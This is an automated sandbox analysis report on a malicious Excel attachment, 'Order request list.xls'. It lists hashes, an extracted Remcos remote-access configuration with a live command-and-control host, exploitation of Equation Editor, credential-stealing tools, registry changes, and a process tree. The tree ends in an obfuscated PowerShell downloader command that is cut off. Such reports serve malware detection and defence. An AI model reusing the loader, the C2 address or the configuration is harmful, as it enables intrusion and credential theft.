Analysis
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max time kernel
148s -
max time network
137s -
platform
windows7_x64 -
resource
win7-20240215-en -
resource tags
arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system -
submitted
26-03-2024 09:20
Static task
static1
Behavioral task
behavioral1
Sample
Order request list.xls
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
Order request list.xls
Resource
win10v2004-20240226-en
General
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Target
Order request list.xls
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Size
317KB
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MD5
e8c8fee58f84cd706cd5955773887500
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SHA1
f80268a58e1f1635dd9ccd6dd029dae2bf93fd58
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SHA256
3ac1e9bc1c29e4f900a34d8e98672106887155015c3d868eb35b18a546f64af9
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SHA512
c9a2e5b267d21ce88e8ac240590048702e1054f23fdaabbef234c58ceada0b9dcb177ad5ebb219ebffde3cf6e7679fa7dbf031881024b529e0155e0e9836f57e
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SSDEEP
6144:Q0unhXF7uY35qAOJl/YrLYz+WrNhZF+E+fgL+0dD8ivSbVsHMI2brcbJTvhl8ult:Q9hXdn3bVsHMI2cJjZlTiAp
Malware Config
Extracted
remcos
RemoteHost
lasteast.duckdns.org:2401
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-T50E1H
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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NirSoft MailPassView 3 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral1/memory/1988-275-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView behavioral1/memory/1988-276-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView behavioral1/memory/1988-295-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 3 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral1/memory/2488-263-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView behavioral1/memory/2488-264-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView behavioral1/memory/2488-286-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Nirsoft 9 IoCs
resource yara_rule behavioral1/memory/2488-263-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral1/memory/2488-264-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral1/memory/1988-275-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral1/memory/1988-276-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral1/memory/2364-278-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral1/memory/2364-280-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral1/memory/2364-281-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral1/memory/2488-286-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral1/memory/1988-295-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft -
Blocklisted process makes network request 7 IoCs
flow pid Process 16 2016 EQNEDT32.EXE 19 644 WScript.exe 21 644 WScript.exe 23 1692 powershell.exe 25 1692 powershell.exe 27 1692 powershell.exe 28 1692 powershell.exe -
Abuses OpenXML format to download file from external location
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts RegAsm.exe -
Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1692 set thread context of 2368 1692 powershell.exe 38 PID 2368 set thread context of 2488 2368 RegAsm.exe 40 PID 2368 set thread context of 1988 2368 RegAsm.exe 41 PID 2368 set thread context of 2364 2368 RegAsm.exe 42 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Office loads VBA resources, possible macro or embedded object present
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Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
pid Process 2016 EQNEDT32.EXE -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell WINWORD.EXE -
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\"" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\"" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe" WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2740 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1144 powershell.exe 1692 powershell.exe 2488 RegAsm.exe 2488 RegAsm.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 2368 RegAsm.exe 2368 RegAsm.exe 2368 RegAsm.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1144 powershell.exe Token: SeDebugPrivilege 1692 powershell.exe Token: SeDebugPrivilege 2364 RegAsm.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2740 EXCEL.EXE 2740 EXCEL.EXE 2740 EXCEL.EXE 2620 WINWORD.EXE 2620 WINWORD.EXE -
Suspicious use of WriteProcessMemory 56 IoCs
description pid Process procid_target PID 2016 wrote to memory of 644 2016 EQNEDT32.EXE 32 PID 2016 wrote to memory of 644 2016 EQNEDT32.EXE 32 PID 2016 wrote to memory of 644 2016 EQNEDT32.EXE 32 PID 2016 wrote to memory of 644 2016 EQNEDT32.EXE 32 PID 2620 wrote to memory of 588 2620 WINWORD.EXE 33 PID 2620 wrote to memory of 588 2620 WINWORD.EXE 33 PID 2620 wrote to memory of 588 2620 WINWORD.EXE 33 PID 2620 wrote to memory of 588 2620 WINWORD.EXE 33 PID 644 wrote to memory of 1144 644 WScript.exe 35 PID 644 wrote to memory of 1144 644 WScript.exe 35 PID 644 wrote to memory of 1144 644 WScript.exe 35 PID 644 wrote to memory of 1144 644 WScript.exe 35 PID 1144 wrote to memory of 1692 1144 powershell.exe 37 PID 1144 wrote to memory of 1692 1144 powershell.exe 37 PID 1144 wrote to memory of 1692 1144 powershell.exe 37 PID 1144 wrote to memory of 1692 1144 powershell.exe 37 PID 1692 wrote to memory of 2368 1692 powershell.exe 38 PID 1692 wrote to memory of 2368 1692 powershell.exe 38 PID 1692 wrote to memory of 2368 1692 powershell.exe 38 PID 1692 wrote to memory of 2368 1692 powershell.exe 38 PID 1692 wrote to memory of 2368 1692 powershell.exe 38 PID 1692 wrote to memory of 2368 1692 powershell.exe 38 PID 1692 wrote to memory of 2368 1692 powershell.exe 38 PID 1692 wrote to memory of 2368 1692 powershell.exe 38 PID 1692 wrote to memory of 2368 1692 powershell.exe 38 PID 1692 wrote to memory of 2368 1692 powershell.exe 38 PID 1692 wrote to memory of 2368 1692 powershell.exe 38 PID 1692 wrote to memory of 2368 1692 powershell.exe 38 PID 1692 wrote to memory of 2368 1692 powershell.exe 38 PID 1692 wrote to memory of 2368 1692 powershell.exe 38 PID 1692 wrote to memory of 2368 1692 powershell.exe 38 PID 1692 wrote to memory of 2368 1692 powershell.exe 38 PID 2368 wrote to memory of 2488 2368 RegAsm.exe 40 PID 2368 wrote to memory of 2488 2368 RegAsm.exe 40 PID 2368 wrote to memory of 2488 2368 RegAsm.exe 40 PID 2368 wrote to memory of 2488 2368 RegAsm.exe 40 PID 2368 wrote to memory of 2488 2368 RegAsm.exe 40 PID 2368 wrote to memory of 2488 2368 RegAsm.exe 40 PID 2368 wrote to memory of 2488 2368 RegAsm.exe 40 PID 2368 wrote to memory of 2488 2368 RegAsm.exe 40 PID 2368 wrote to memory of 1988 2368 RegAsm.exe 41 PID 2368 wrote to memory of 1988 2368 RegAsm.exe 41 PID 2368 wrote to memory of 1988 2368 RegAsm.exe 41 PID 2368 wrote to memory of 1988 2368 RegAsm.exe 41 PID 2368 wrote to memory of 1988 2368 RegAsm.exe 41 PID 2368 wrote to memory of 1988 2368 RegAsm.exe 41 PID 2368 wrote to memory of 1988 2368 RegAsm.exe 41 PID 2368 wrote to memory of 1988 2368 RegAsm.exe 41 PID 2368 wrote to memory of 2364 2368 RegAsm.exe 42 PID 2368 wrote to memory of 2364 2368 RegAsm.exe 42 PID 2368 wrote to memory of 2364 2368 RegAsm.exe 42 PID 2368 wrote to memory of 2364 2368 RegAsm.exe 42 PID 2368 wrote to memory of 2364 2368 RegAsm.exe 42 PID 2368 wrote to memory of 2364 2368 RegAsm.exe 42 PID 2368 wrote to memory of 2364 2368 RegAsm.exe 42 PID 2368 wrote to memory of 2364 2368 RegAsm.exe 42
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Order request list.xls"1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2740
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" -Embedding1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2620 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:588
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C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2016 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\createdkissingsomeone.vbs"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:644 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwD